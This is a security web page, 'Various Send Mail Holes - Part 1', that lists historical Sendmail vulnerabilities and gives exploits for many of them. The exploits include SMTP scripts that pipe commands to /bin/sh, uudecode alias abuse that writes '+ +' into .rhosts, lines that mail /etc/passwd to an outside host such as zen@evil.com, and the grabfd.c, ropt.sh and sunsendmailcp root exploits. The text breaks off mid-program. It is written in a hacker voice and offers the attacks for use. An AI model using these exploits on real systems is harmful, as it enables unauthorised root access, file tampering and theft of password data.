Welcome To Security.Fx-Vista.Com

Computer Security Information

Home

Various Send Mail Holes - Part 1

<<< Back

Sendmail, known as the buggiest daemon on earth has a history of having A large number of bugs. In this text, I have made a list of known Sendmail holes. Of course, the list is not complete, but it's an example of how many bugs Sendmail has had over the years. I also recommend that you read the Sendmail security tutorial at http://blacksun.box.sk in order to get a better view of what exactly is Sendmail.

 

-----------------------------------------------------------------------

Hole Version of Sendmail

-----------------------------------------------------------------------

 

= WIZ = *oLD*

 

= DEBUG = *oLD*

 

= TURN = *oLD*

 

= OVERFLOW INPUT BUFFER = *oLD*

 

= DECODE ALIAS = *VrFy*

 

= qf SunOS = *SunOS-sendmailV5.1*

 

= -oR SunOS = *SunOS-sendmailV5.22*

 

= -oM = *8lgm6Dec1994-SMI-Sendmail(sm based on SunOS)*

 

= OVERWRITE FILES = *FiXED iN 5.59*

 

= -oQ = *DuNNo*

 

= |PROGRAM = *TeSTeD oN 5.55*

 

= .forward = *5.61*

 

= TAIL = *TeSTeD oN 5.65*

 

= -C = *oLD*

 

= 4.1 = *TeSTeD oN 4.1*

 

= -d########### = *8.X.X <8.6.7*

 

= -oE/filename bounce= *8.6.7*

 

= 8.6.9 ident = *8.6.9*

 

= 8.6.9 newlines = *8.6.9*

 

= 8.6.10 ident/newlines = *8.6.10*

 

= HP-UX = *HP-UX 9.x*

 

= 8.7.5 gecos = *8.X.X <8.8.0* *TeSTed oN 8.6.12*

 

= mime7to8() = *8.8.0*

 

= smtpd = *8.7-8.8.2*

 

=Local DOS= *Upto 8.9.3*

 

=Buggy Helo Command= *8.8.8*

 

=Gaint Sendmail Bug= *8.8.4*

 

-----------------------------------------------------------------------

 

WIZ = *oLD* =

 

The oldest and easiest hole in sendmail is the 'wiz' backdoor, now very difficult to find. At the connect just  type 'wiz' and then 'SHELL' ,and you're in a root shell. [ it can be set by configuring sendmail.cf file ... 'OW' option immediately followed by the encrypted password ]

 

DEBUG = *oLD* =

 

This bug was used by the inet worm by Robert T. Morris Jr. Its exploiting allows anyone to execute any  program on a remote machine. It simply consists in giving the 'debug' command, use a pipe to /bin/sh as  recipient and feed the data with the commands you want to be executed on the remote machine.

 

[ If sendmail server answers with "200 Debug set" to the 'debug' command there are good chances the  bug is still present ]

 

Example :

 

#!/bin/sh

 

telnet << EOF

 

open fucked.host.edu 25

 

debug

 

mail from: </dev/null>

 

rcpt to: <\"|sed -e '1,/^$/'d | /bin/sh ; exit 0\">

 

data

 

cp /bin/sh /tmp/sushi # or alternatively:

 

chmod 4755 /tmp/sushi # echo "+ +" >> /.rhosts

 

.

 

EOF

 

TURN = *oLD* =

 

TURN command allows mail to be stolen ... [ Don't bother, old stuff! ]

 

OVERFLOW INPUT BUFFER = *oLD* =

 

Cause the sendmail deamon to lock up ... [ old stuff! Just for collection

;) ]

 

DECODE ALIAS = *VrFy* =

 

If '/etc/aliases' contains "|/usr/bin/uudecode" anyone can send mail to decode, write to any file onwed by  daemon, if they can connect to sendmail daemon, can write to any file owned by any user.

 

To test the existence of decode alias from a sendmail connection do:

 

% telnet target.com

 

Trying 127.127.127.127

 

Connected to target.com

 

Escape character is '^]'.

 

220 target.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT

 

expn decode

 

250 <"|/usr/bin/uudecode">

 

quit

 

1SecExploit:

 

% echo "myhost.com" | uuencode /usr/bin/.rhosts | mail decode@target.com

 

MoreThan1SecExploit:

 

% cat > outfile # Let's make our .rhosts file

 

+ +

 

^C

 

% uuencode outfile /usr/bin/.rhosts

 

begin 644 /bin/.rhosts

 

$*R'K"O\

 

% telnet fuqdhost.com 25

 

220 fuqdhost.com SunOS Sendmail 8.6.1 #5 ready at Fri, 13 May 99 00:00 (EST)

 

VRFY decode

 

250 <|/usr/bin/uudecode>

 

MAIL FROM: bin

 

250 ... Sender Okay

 

RCPT TO: decode

 

250 ... Recipient Okay

 

DATA

 

354 Enter mail, end with "." on a line by itself

 

begin 644 /bin/.rhosts

 

$*R'K"O\ # which is just "+ +" uuencoded

 

end

 

.

 

250 Mail accepted

 

quit

 

221 fuqdhost.com closing connection

 

Connection closed by foreign host.

 

% rlogin fuqdhost.com -l bin

 

$

 

If no home directories are known or writable, an interesting variation of this is to create a bogus  /etc/aliases.pag file that contains an alias with a command you wish to execute on your target. This may  work since on many systems the aliases.pag and aliases.dir files, which control the system's mail aliases,  are writable to the world.

 

evil % cat decode

 

bin: "| cat /etc/passwd | mail zen@evil.com"

 

evil % newaliases -oQ/tmp -oA`pwd`/decode

 

evil % uuencode decode.pag /etc/aliases.pag | mail decode@victim.com

 

evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null

 

qf SunOS = SunOS-sendmailV5.1 =

 

The method used by sendmail version 5 to open a control file [/usr/spool/mqueue/qf########] is  unsecure. A race condition exists whereby another process may obtain a control-file file descriptor,  opened for write access. Sendmail v5, during execution, sets umask(0), which is an insecure mask. In  order not to leave open control files with mode 666, sendmail v5 uses chmod(2) to set a secure file mode.  However this is a race condition, as we can obtain an open file descriptor for write by opening the control file before the call to chmod(2).

 

IMPACT: Local users can write their own control files, and run programs

 

as any user, bar root.

 

EXPLOIT:

 

grabfd.c:

 

/*

 

* grabfd.c

 

* usage: grabfd username command-file

 

*

 

* username: user to execute 'command-file' as.

 

* command-file: file containing 10 lines of shell commands to execute.

 

*/

 

#include <stdio.h>

 

#include <unistd.h>

 

#include <sys/fcntl.h>

 

#include <sys/param.h>

 

#ifndef SENDMAIL

 

#define SENDMAIL "/usr/lib/sendmail"

 

#endif

 

#ifndef SPOOL_DIR

 

#define SPOOL_DIR "/usr/spool/mqueue"

 

#endif

 

char myqfile[] = "D%s\nC%s\nR|/usr/ucb/tail|/bin/sh\n";

 

main(argc,argv)

 

int argc;

 

char **argv;

 

{

 

int pid, fd;

 

char tbuf[MAXPATHLEN], sysbuf[BUFSIZ];

 

if (argc != 3) {

 

(void)fprintf(stderr, "%s: user file\n",

 

argv[0]);

 

exit(1);

 

}

 

if (getpwnam(argv[1]) == NULL)

 

(void)fprintf(stderr, "%s: user %s unknown (error

 

ignored)\n",

 

argv[0],

 

argv[1]);

 

if (access(argv[2], F_OK) == -1) {

 

(void)fprintf(stderr, "%s: %s does not exist.\n",

 

argv[0],

 

argv[2]);

 

exit(1);

 

}

 

if (access(SPOOL_DIR, X_OK) == -1) {

 

(void)fprintf(stderr, "%s: cannot access %s.\n",

 

argv[0],

 

SPOOL_DIR);

 

exit(1);

 

}

 

if (pid=fork()) {

 

if (pid == -1) {

 

(void)perror("fork");

 

exit(1);

 

}

 

(void)sprintf(tbuf, "%s/tfAA%05d", SPOOL_DIR, pid);

 

(void)sprintf(sysbuf, myqfile, argv[2], argv[1]);

 

for (;;)

 

if ((fd=(open(tbuf, O_WRONLY, 0))) != -1) {

 

(void)printf("%s: grabbed queue fd.\n",

 

argv[0]);

 

(void)wait();

 

(void)ftruncate(fd, 0);

 

(void)write(fd, sysbuf, strlen(sysbuf));

 

(void)close(fd);

 

if(execl(SENDMAIL,

 

"sendmail", "-q", (char *)0) == -1) {

 

(void)perror("execl");

 

exit(1);

 

};

 

}

 

} else {

 

(void)close(0);

 

if (open("/etc/motd", O_RDONLY, 0) == -1) {

 

(void)perror("open");

 

exit(1);

 

};

 

if (execl(SENDMAIL,

 

"sendmail",

 

#ifdef sun

 

"-os",

 

#endif

 

"-odq", getlogin(), (char *)0) == -1) {

 

(void)perror("execl");

 

exit(1);

 

};

 

}

 

exit(1);

 

}

 

::::::::::::::::::::::::::::::::: END OF HOLE ::::::::::::::::::::::::::::

 

-oR SunOS = SunOS-4.1.X-sendmail V5.22 =

 

From 8lgm:

 

DESCRIPTION: The -oR option uses popen() to return undeliverable mail.

 

IMPACT: Local users can obtain root access.

 

-------------------------- ropt.sh ---------------------------------------

 

#!/bin/sh

 

#

 

# Syntax: roption host

 

#

 

# host is any system running sendmail (except localhost).

 

#

 

# This exploits a flaw in SunOS sendmail(8), and attempts

 

# create a suid root shell

 

#

 

# Written 1995 by [8LGM]

 

# Please do not use this script without permission.

 

#

 

PROG="`basename $0`"

 

PATH=/usr/ucb:/usr/bin:/bin export PATH

 

IFS=" " export IFS

 

# Check args

 

if [ $# -ne 1 ]; then

 

echo "Syntax: $PROG host"

 

exit 1

 

fi

 

# Check we're on SunOS

 

if [ "x`uname -s`" != "xSunOS" ]; then

 

echo "Sorry, this only works on SunOS"

 

exit 1

 

fi

 

PROG="`basename $0`"

 

EXECME=/tmp/HotterThanMojaveInMyHeart

 

# Create EXECME.c

 

cat > $EXECME.c << 'EOF'

 

main(argc,argv)

 

int argc;

 

char *argv[];

 

{

 

chown("/tmp/InfamousAngel", 0, 0);

 

chmod("/tmp/InfamousAngel", 04755);

 

}

 

EOF

 

cc -o $EXECME $EXECME.c

 

# Check we have EXECME

 

if [ ! -x $EXECME ]; then

 

echo "$PROG: couldnt compile $EXECME.c - check it out"

 

exit 1

 

fi

 

/bin/cp /bin/sh /tmp/InfamousAngel

 

# Run sendmail

 

/usr/lib/sendmail -oR$1 -f";$EXECME;" -t << 'EOF'

 

To: No1InParticular

 

Hows it goin

 

EOF

 

exec /tmp/InfamousAngel

 

................................ Cut HeRe ...................................

 

-oM = 8lgm6Dec1994-SMI-Sendmail(based on SunOS sm) =

 

Sun sendmail allows -oM to set any macro, and still retains root privilege.

( The list of 'trusted' macros should be limited. )

 

At time of writing (Dec 1994) affected sendmail were: " SunOS 4.x Sendmail

- all versions including latest 4/5/94 Sendmail Jumbo Patch 100377-15 "

 

After further investigation, it has been discovered that SVR4 based ports include sendmail(8) based on  SMI code.

 

EXPLOIT:

 

1. Create the file sunsendmailcp

 

8>------------------------- cut here ---------------------------

 

#!/bin/sh

 

#

 

# sunsendmailcp from to

 

if [ $# -ne 2 ]; then

 

echo usage: `basename $0` from to

 

exit 1

 

fi

 

rm -f /usr/tmp/dead.letter

 

if [ -f /usr/tmp/dead.letter ]; then

 

echo sorry, cant continue - /usr/tmp/dead.letter exists

 

fi

 

if [ ! -r $1 ]; then

 

echo $1 doesnt exist or is unreadable

 

exit 1

 

fi

 

ln -s $2 /usr/tmp/dead.letter

 

/usr/lib/sendmail -L0 '-oM#anything' $USER < $1

 

rm /usr/tmp/dead.letter

 

exit 0

 

8>------------------------- cut here ---------------------------

 

2. Execute the command % ./sunsendmailcp sourcefile targetfile and target file will either be appended to  or created.

 

OVERWRITE FILES = FiXED iN 5.59 =

 

Remote users are able to write to any non-root owned files in the system. This bug was definitely fixed in  version 5.59 from Berkeley; despite the messages below, for versions of sendmail previous to 5.59, the  "evil.com" gets appended, despite the error messages, along with all of the typical mail headers, to the  file specified:

 

% cat evil_sendmail

 

telnet victim.com 25 << EOSM

 

rcpt to: /home/zen/.rhosts

 

mail from: zen

 

data

 

random garbage

 

.

 

rcpt to: /home/zen/.rhosts

 

mail from: zen

 

data

 

evil.com

 

.

 

quit

 

EOSM

 

evil % /bin/sh evil_sendmail

 

Trying 128.128.128.1

 

Connected to victim.com

 

Escape character is '^]'.

 

Connection closed by foreign host.

 

evil % rlogin victim.com -l zen

 

Welcome to victim.com!

 

victim %

 

'-oQ' = DuNNo =

 

This bug involves the '-q' and the '-oQ' options and causes any file to be deleted and read. You should  create a 'qf'-type file, in the /usr/spool/mqueue dir, like this:

 

P28

 

T599831504

 

Dfilename

 

Suser

 

Ruser

 

H?P?return-path:

 

H?F?from: user (User Name)

 

H?x?full-name: User Name

 

HTo: user

 

Hsubject: Gotcha

 

after the command `sendmail -q -oQ' is issued, file `filename' will be deleted and its content will be  mailed to 'user'.

 

- - - - The 'oQ' sets the 'Q' option ,which selects the dir in which to queue messages The 'q' make the  daemon to process the queue - - - -

 

'|PROGRAM ' = TeSTeD oN 5.55 = ...may be others

 

Anyone can specify arbitrary shell commands and/or pathnames for the sender and/or destination  address. A typical attack to get the password file is:

 

% telnet target.com 25

 

Trying 123.456.789.0...

 

Connected to target.com

 

Escape character is '^]'.

 

220 target.com Sendmail 5.55 ready at Mon, 12 Dec 93 23:51

 

mail from: "|/bin/mail me@myhost.com < /etc/passwd"

 

250 "|/bin/mail me@myhost.com < /etc/passwd"... Sender ok

 

rcpt to: mickeymouse

 

550 mickeymouse... User unknown

 

data

 

354 Enter mail, end with "." on a line by itself

 

.

 

250 Mail accepted

 

quit

 

Connection closed by foreign host.

 

%

 

.forward = 5.61 =

 

When delivering to files and programs, `sendmail' does not do an `initgroups(3)' after forking on final  delivery. As a result, the sender's group list remains in effect throughout this stage. This is particularly serious when root is sending the mail since a program executed out of a `.forward' file gains interesting  privileges like `wheel' and `kmem'. A related hole can be broken down into a "problem" and an  "aggravation". The "problem" is that queued local mail no longer has the original recipient's uid associated  with it. Control files only store a list of exploded recipients (i.e. users, files and programs) -- one per line - - each prefaced with an `R'.

 

So, after an address resolves to the local machine and has undergone alias and ".forward" expansion, if  the letter happens to get queued, on the succeeding queue run sendmail doesnt know who to run the final  delivery as. The "aggravation" is that, when doing this final delivery of queued local mail, sendmail will  `setuid()' itself to the sender's uid if it is available; in general, the sender's uid will be used when the  sender is on the local machine. As a result, a user can run a program as anyone who sends them mail  from the local machine. There is also an added "complication"; the default uid and gid are also set to the  sender when delivering mail! Since the default uid and gid are only used when calling `setuid()' and  `setgid()' (to reset the uid/gid before doing final delivery), these variables should never be set to the  sender.

 

|------------------------------ Local compromise ------------------------------|

 

Save the following program as "sploit.c" changing MYUID to your user id. Compile "sploit.c" producing the  executable "sploit" in your home directory. Create a ".forward" file containing:

 

\<user>, "|<path>/sploit"

 

[change to your username so you dont lose mail (unless, of course, you'd rather lose mail) and set  <path> to your home directory path (where sploit lives)] Now, as another user, send yourself some mail.  Note that the sploit program defers delivery the first time thru; check out "/tmp/whoami" to see that  sploit ran as you. Now, run your mail queue (or open a beer and wait for sendmail to run it). After the  queue run, note that the sploit accepted the letter and returned a successful exit status; check out  "/tmp/whoami" again to see that this time, sploit ran as the sender! You can also use "sploit.c" to test for  the root initgroups() hole by checking the group list when "sploit" was first called.

 

#include <sys/param.h>

 

#include <sys/types.h>

 

#include <stdio.h>

 

#include <sysexits.h>